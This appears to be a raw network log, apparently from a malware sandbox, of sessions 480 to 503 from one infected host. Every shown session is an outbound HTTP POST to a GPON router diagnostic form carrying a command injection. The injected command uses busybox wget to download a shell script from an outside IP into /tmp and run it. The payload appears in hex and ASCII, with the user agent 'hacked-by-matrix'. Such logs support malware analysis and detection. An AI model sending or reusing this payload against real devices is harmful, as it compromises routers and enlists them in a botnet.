Mar 2, 2024 12:37:28.963639021 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.23	35000	42.130.28.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963661909 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.23	46992	210.242.152.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963673115 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.23	60546	94.149.2.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963673115 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.23	40784	109.207.84.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963726044 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.23	37530	212.0.123.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963726044 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.23	35266	109.43.117.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963733912 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.23	33832	118.252.253.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963738918 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.23	40464	118.122.71.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963763952 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.23	46666	109.245.52.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963763952 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.23	57824	37.56.214.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.963773966 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.23	53718	210.146.63.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964337111 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.23	32806	42.199.252.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964350939 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.23	42960	79.156.80.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964380980 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.23	50804	37.57.177.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964384079 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.23	53282	118.221.160.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964405060 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.23	56916	212.168.208.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964430094 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.23	41114	118.199.45.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964438915 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.23	43460	79.104.124.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964442015 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.23	33218	212.162.89.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964482069 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.23	47034	42.64.91.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964680910 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.23	41556	94.68.193.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964692116 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.23	55254	212.80.121.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964709997 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.23	57118	5.53.81.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964710951 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.23	44268	94.46.180.144	443

Timestamp	Bytes transferred	Direction	Data
